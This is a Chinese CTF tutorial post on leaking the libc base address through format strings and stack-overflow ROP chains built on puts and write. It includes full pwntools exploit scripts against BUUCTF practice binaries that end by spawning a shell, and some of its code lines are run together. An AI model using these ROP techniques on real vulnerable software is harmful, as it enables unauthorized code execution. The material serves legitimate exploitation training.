泄漏libc基地址

拿libc基地址

方法一:格式化字符串

  1. 格式化字符串,首先确定输入的 AAAA 在栈上的位置(x)。
  2. 使用 elf.got[fun] 获得got地址。
  3. 利用格式化字符串,构造payload泄漏got地址处的值,recv接受到的字符串中,[4:8]即为fun函数的地址fun_addr。
    • payload = p32(got) + b’%x$s’
    • fun_address = u32(p.recvuntil(b’\xf7’)[4:8])
  4. 利用 LibcSearcher 选择libc的版本。
  5. 最后计算libc的基地址: libcbase = fun_addr - libc.dump(“fun”)
  6. 最后根据基地址libcbase即可计算system函数的绝对地址:
    • sys_addr = libcbase + libc.dump(“system”)
    • sh_addr = libcbase + libc.dump(“str_bin_sh”)
  7. 最后根据获得到的地址即可构造ROP链。
实例:
from pwn import *
from LibcSearcher import *
p=process("./test3")
elf=p.elffun_name="read"#get the fun'got_address
fun_got=elf.got[fun_name]  #0x804c004
fun_plt=elf.plt[fun_name]  #0x8049040
print(hex(fun_got),hex(fun_plt))p.recvuntil(b"hello\n")#yichu
payload = p32(0x804c004) + b'%10$s'
p.sendline(payload)fun_address = u32(p.recvuntil(b'\xf7')[4:8])
print("fun_address:",hex(fun_address))#base_address
libc = LibcSearcher(fun_name,fun_address)
libc_base = fun_address - libc.dump(fun_name)
print("libc_base :",hex(libc_base))#get system address and shell address
sys_address = libc_base + libc.dump('system')
sh_address  = libc_base + libc.dump('str_bin_sh')
print("system address:",hex(sys_address))
print("bin_sh address:",hex(sh_address))

方法二:栈溢出

image-20240529174702310

  1. 利用 puts函数 ,泄漏一个函数的got地址,然后输出got地址处的数据,即为该函数的真实地址。
  2. 首先确定栈溢出的位置:ida中查看栈的位置,确定好溢出的偏移。

image-20240529175118360

  1. 使用 ELF.got[fun_name],ELF.plt[‘puts’] ,泄漏 fun_name的got地址和 puts函数的plt地址

  2. 利用栈溢出、got地址、puts函数的plt地址来输出got地址处的值,即fun_name函数的地址:

    • 64位下puts参数传递:利用 rdi寄存器 传递参数,使用指令 **ROPgadget --binary xxx --only ‘pop|ret’ ** 拿到ret_addr用来给rdi传参。
    • 构造 payload = b’a’*(offset)+p64(ret_addr)+p64(got)+p64(puts_plt)+p64(ret)
    • 其中 got 是给调用puts函数是传递的参数,puts_plt是用来调用puts函数,最后ret是执行完puts函数后返回的地址可斟酌选择。(一般用 puts函数 输出 puts函数的地址
    • sendline完成,recv接受fun_name函数的地址: addr=u64(p.recv(6).ljust(0x8,b’\x00’)),其中recv(6)表示只接受6字节的数据, ljust 将接受到的数据 左对齐 ,并且 长度位8个字节 (保证u64转化位无符号整数时满64bit即8字节,否则会报错),不足的用00补充。
    • 然后同样使用 libc = LibcSearcher(‘puts’,addr),libcbase = addr - libc.dump(‘puts’) 选择libc版本计算libc的基地址libcbase。
    • 最后计算 system函数str_bin_sh 的地址:
      • sys_addr = libcbase + libc.dump(‘system’),sh_addr = libcbase + libc.dump(‘str_bin_sh’)

    image-20240529180635845

    实例:
    1. 题目:BUUCTF在线评测 (buuoj.cn)

    2. EXP:

      from pwn import *
      from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p=remote("node5.buuoj.cn",29996)elf = ELF('./ciscn_2019_c_1')
      ret_address = 0x400c83got = elf.got['puts']		#0x602020
      plt = elf.plt['puts']
      #print(hex(got))
      main_address = 0x400B28
      p.recv()
      p.sendline(b'1')
      p.recvuntil(b"encrypted\n")payload = (b'a'*(0x50+8))+p64(ret_address)+p64(got)+p64(plt)+p64(main_address)
      p.sendline(payload)
      p.recvuntil(b'Ciphertext\n')
      p.recvuntil(b'\n')
      addr=u64(p.recv(6).ljust(0x8,b'\x00'))
      print(hex(addr))
      libc = LibcSearcher('puts',addr)
      libcbase = addr - libc.dump('puts')
      print(hex(libcbase))
      sys_addr = libcbase + libc.dump('system')
      sh_addr = libcbase + libc.dump('str_bin_sh')p.recv()
      p.sendline(b'1')
      p.recvuntil(b"encrypted\n")
      payload = b'a'*0x58+p64(ret_address)+p64(sh_addr)+p64(0x4006B9)+p64(sys_addr)
      p.sendline(payload)
      p.interactive()

方法3:

1. write函数溢出(题目里面给出libc的版本)
  1. 利用write函数的got表和plt表,溢出得到write函数的地址,在计算得到libc_base基地址。

  2. 先看汇编下调用write函数时参数的传递:(以32位为例)长度+地址+1 构造栈时反过来 1+地址+长度

    image-20240530091712374

  3. 溢出EXP:

    #启动题目所给的so文件,so文件需要在同一目录下
    libc=ELF('libc-2.23.so')
    got = elf.got['write']
    plt = elf.plt['write']
    main_addr = 0x08048825#构造payload,利用write函数输出write函数的实际地址
    payload = b'a'*(0xe7+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
    p.sendline(payload)
    #接受返回的地址
    addr = u32(p.recv(4).ljust(4,b'\x00'))
    print(hex(addr))
    
  4. 利用返回的地址计算liba_base,sys_addr,bin_addr地址:

    #计算基地址libabase
    libcbase = addr - libc.sym['write']
    #拿到sys_addr和bin_addr
    sys_addr = libcbase + libc.sym['system']
    str_sh   = libcbase + next(libc.search('/bin/sh'))
    print(hex(sys_addr),hex(str_sh))#最后利用计算的函数地址和'bin/sh'地址,栈溢出构造ROP
    payload = b'a'*(0xe7+4)+p32(sys_addr)+p32(0)+p32(str_sh)
    p.sendline(payload)
    p.interactive()
    
2. write函数溢出(题目没给给出libc的版本)
  1. 题目地址:BUUCTF在线评测 (buuoj.cn)

  2. 题目没有提供后门函数,但是给了栈溢出和write函数调用:

    image-20240601105706072

    image-20240601104919755

  3. 这里可以利用vulnerable_function函数进行栈溢出,利用write函数泄漏write函数的地址,从而拿到libc,使用write函数泄漏write函数地址时(puts函数同理),即使程序在前面 没有调用过write函数 ,也可以 直接利用栈溢出 泄漏,因为在栈溢出时,程序会先解析write函数的地址将其填入got表项中:

    from pwn import *
    from LibcSearcher import *context(os='linux', arch='i386', log_level='debug')p=remote("node5.buuoj.cn",28334)
    elf=ELF('./2018_rop')
    got = elf.got['write']
    plt = elf.plt['write']
    print(hex(got),hex(plt))
    main_addr = 0x080484C6#这里程序会跳转到write函数的plt表,由于先前没有调用过write函数,所以此时write函数的got表还未填充地址,要调用write函数,程序会先解析write函数的地址(此时wrie函数的got表会更新),也就能泄漏write函数的地址了。
    payload = b'a'*(0x88+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
    p.sendline(payload)
    addr = u32(p.recv())
    print(hex((addr)))libc = LibcSearcher('write',addr)
    liba_base = addr - libc.dump('write')
    sys_addr = liba_base + libc.dump('system')
    sh_addr  = liba_base + libc.dump('str_bin_sh')
    print(hex(liba_base),hex(sys_addr),hex(sh_addr))payload = b'a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr)
    p.sendline(payload)p.sendline(b'cat flag')
    p.interactive()

    image-20240601110334585

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/20430.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux部署运维1——centos7.9离线安装部署web或java项目所需的依赖环境,包括mysql8.0,nginx1.20,redis5.0等工具

在实际项目部署运维过程中,如果是云服务器,基本安装项目所需的依赖环境都是通过yum联网拉取网络资源实现自动化安装的;但是对于一些特殊场合,在没有外部网络的情况下,就无法使用yum命令联网操作,只能通过编…

网络报文协议头学习

vxlan:就是通过Vxlan_header头在原始报文前面套了一层UDPIP(4/6)Eth_hdr 需求背景:VXLAN:简述VXLAN的概念,网络模型及报文格式_vxlan报文格式-CSDN博客 如果服务器作为VTEP,那从服务器发送到接…

jmeter之MD5加密请求秒杀接口教程

前言: 有时候在项目中,需要使用MD5加密的方法才可以登录,或者在某一个接口中遇到 登录获取token后才可以进行关联,下面介绍下遇到的常见使用 一、第一种方法:使用jmeter自带的函数助手digest 选择工具,选…

并查集拓展(扩展域并查集)

事实证明,扩展域并查集应该在带权并查集前面讲的,因为比较好理解,而且回过头看带权并查集可能也会更轻松一些。 https://www.luogu.com.cn/problem/P1892https://www.luogu.com.cn/problem/P1892 题目描述 现在有 𝑛 个人&…

算法解析——单身狗问题

欢迎来到博主的专栏:算法解析 博主ID代码小豪 文章目录 什么是单身狗问题leetcode_136——只出现一次的数字I使用位运算解决单身狗问题。 leetcode_137——只出现一次的数字II统计二进制数解决单身狗问题leetcode_260 只出现一次数字III分区域按位异或解决问题。 总…

C语言:如何写文档注释、内嵌注释、行块注释?

技术答疑流程 扫描二维码,添加个人微信;支付一半费用,获取答案;如果满意,则支付另一半费用; 知识点费用:10元 项目费用:如果有项目任务外包需求,可以微信私聊

【scikit-learn009】异常检测系列:单类支持向量机(OC-SVM)实战总结(看这篇就够了,已更新)

1.一直以来想写下机器学习训练AI算法的系列文章,作为较火的机器学习框架,也是日常项目开发中常用的一款工具,最近刚好挤时间梳理、总结下这块儿的知识体系。 2.熟悉、梳理、总结下scikit-learn框架OCSVM模型相关知识体系。 3.欢迎批评指正,欢迎互三,跪谢一键三连! 4.欢迎…

Vue3实战笔记(57)—一键换肤:在Vuetify中打造个性化主题切换体验

文章目录 前言一键换肤总结 前言 在当今追求极致用户体验的时代,为应用程序提供个性化的主题切换功能已经成为提升用户满意度和留存率的关键因素之一。Vuetify,作为基于Vue.js的流行前端框架,以其丰富的组件库和高度可定制性,为开…

day05-多任务-正则-装饰器

一、多任务 1-进程和线程 进程是操作系统分配资源的最小单元 线程执行程序的的最小单元 线程依赖进程,可以获取进程的资源 一个程序执行 先要创建进程分配资源,然后使用线程执行任务 默认情况下一个进程中有一个线程 2-多任务介绍 运行多个进程或线程执…

民国漫画杂志《时代漫画》第38期.PDF

时代漫画38.PDF: https://url03.ctfile.com/f/1779803-1248636380-dd7daa?p9586 (访问密码: 9586) 《时代漫画》的杂志在1934年诞生了,截止1937年6月战争来临被迫停刊共发行了39期。 ps: 资源来源网络!

CATIA进阶操作——创成式曲面设计入门(1)线架设计,三维点、直线、平面、曲线

目录 引出三维空间点生成三维直线三维平面三维曲线总结异形弹簧新建几何体草图编辑,画一条样条线进行扫掠,圆心和半径画出曲面上的螺旋线再次选择扫掠,圆心和半径 其他自定义信号和槽1.自定义信号2.自定义槽3.建立连接4.进行触发 自定义信号重…

【YOLOv5/v7改进系列】引入ODConv——即插即用的卷积块

一、导言 提出了一种称为全维度动态卷积(ODConv)的新颖设计,旨在克服当前动态卷积方法的局限性并提升卷积神经网络(CNN)的性能。以下是该论文提出的全维度动态卷积设计的优点和存在的缺点分析: 优点: 增强特征学习能力: ODConv通…

【UML用户指南】-04-从代码到UML的关键抽象

1、关键抽象 声明了一个名为paint的操作,它的实现调用名为drawString的另一个操作,drawString操作负责在指定的位置上打印“Hello,World!”。在通常的面向对象的方式下,drawString是一个名称为g的参数上的一个操作,g的类型是类Gr…

VMWare下安装Linux虚拟机(图文)

大家好,在当今科技发展迅速的时代,虚拟化技术在企业和个人用户中变得越来越普遍。VMware作为一款领先的虚拟化软件,为用户提供了在单一物理计算机上运行多个操作系统的能力,为开发、测试和运维等任务提供了便利。在这篇文章中&…

打开C语言常用的内存函数大门(三) —— memset()函数(内含讲解用法和模拟实现)

文章目录 1. 前言2. memset函数2.1 memset函数原型2.2 memset函数参数的介绍2.3 memset函数的使用演示 3. memset函数的模拟实现4. 总结 1. 前言 哈喽,我们又见面了。通过前面两个内存函数(memcpy、memmove函数)讲解的锤炼后,对如何解析一个自己从来没有…

【TB作品】msp430f5529单片机墨水屏,口袋板,tmp421温度,温控风扇

文章目录 一、扬声器模块介绍二、驱动介绍三、程序介绍四、全部代码下载 msp430f5529d单片机墨水屏,口袋板,tmp421温度,温控风扇 基本要求:高于20度开转,温度越高转速越快,高于40度风扇停转,温…

知识计算概述

文章目录 知识计算研究现状技术发展趋势 知识计算 随着知识图谱技术及应用的不断发展,图谱质量和知识完备性成为影响知识图谱应用的两大重要难题,以图谱质量提升、潜在关系挖掘与补全、知识统计与知识推理作为主要研究内容的知识计算成为知识图谱应用的重…

C语言 | Leetcode C语言题解之第119题杨辉三角II

题目&#xff1a; 题解&#xff1a; int* getRow(int rowIndex, int* returnSize) {*returnSize rowIndex 1;int* row malloc(sizeof(int) * (*returnSize));row[0] 1;for (int i 1; i < rowIndex; i) {row[i] 1LL * row[i - 1] * (rowIndex - i 1) / i;}return row…

Qt第三方库QicsTable简单实例(1)

闲来无事&#xff0c;无意间看到一个Qics表格操作第三方库&#xff0c;自己写了一个特别简单的实例&#xff0c;效果如图所示&#xff1a; 操作界面的数据还是特别快的&#xff0c;因为使用了模型

【Spring Cloud】分布式配置动态刷新

目录 问题解决方案1.使用Spring Boot Actuator监控接口【不推荐】流程图使用Spring Boot Actuator的步骤 2.Spring Cloud Bus第一种方案问题Spring Cloud Bus流程图Spring Cloud Bus实现客户端刷新的步骤开发准备实现1. 在config-server中添加依赖2.在config-server中添加配置a…